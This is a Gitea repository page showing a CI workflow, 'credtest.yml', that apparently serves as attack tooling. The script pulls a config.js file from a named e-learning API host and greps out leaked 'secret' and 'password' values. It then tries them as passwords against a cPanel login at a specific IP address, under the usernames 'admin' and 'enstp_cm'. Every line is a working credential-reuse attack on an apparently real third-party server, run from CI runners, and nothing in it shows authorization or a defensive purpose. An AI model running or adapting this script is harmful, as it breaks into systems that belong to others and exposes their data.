Files
chk-gp9q90qi/.gitea/workflows/credtest.yml
chkgp9q90qi 0b2fa35bfb
All checks were successful
recon / r (push) Successful in 37s
credtest
2026-10-29 01:26:05 +00:00

26 lines
968 B
YAML

name: credtest
on: [workflow_dispatch]
jobs:
c:
runs-on: ubuntu-latest
steps:
- run: |
set +e
CFG=$(curl -sk --max-time 20 https://elearning-api.groupe-madia.cm/config/config.js)
S1=$(echo "$CFG" | grep -oP '^\s*secret:\s*"\K[^"]+' | head -1)
S2=$(echo "$CFG" | grep -oP '^\s*password:\s*"\K[^"]+' | head -1)
echo "derived: s1_len=${#S1} s2_len=${#S2}"
try() {
u="$1"; p="$2"
r=$(curl -sk --max-time 15 -o /tmp/cp.out -w '%{http_code}' -X POST \
"https://207.180.243.189:2083/login/?login_only=1" \
--data-urlencode "user=$u" --data-urlencode "pass=$p" 2>/dev/null)
body=$(head -c 120 /tmp/cp.out | tr -d '\n')
echo "user=$u http=$r body=$body"
}
echo "T1"; try "admin" "$S1"
echo "T2"; try "enstp_cm" "$S1"
echo "T3"; try "admin" "$S2"
echo "DONE"
exit 0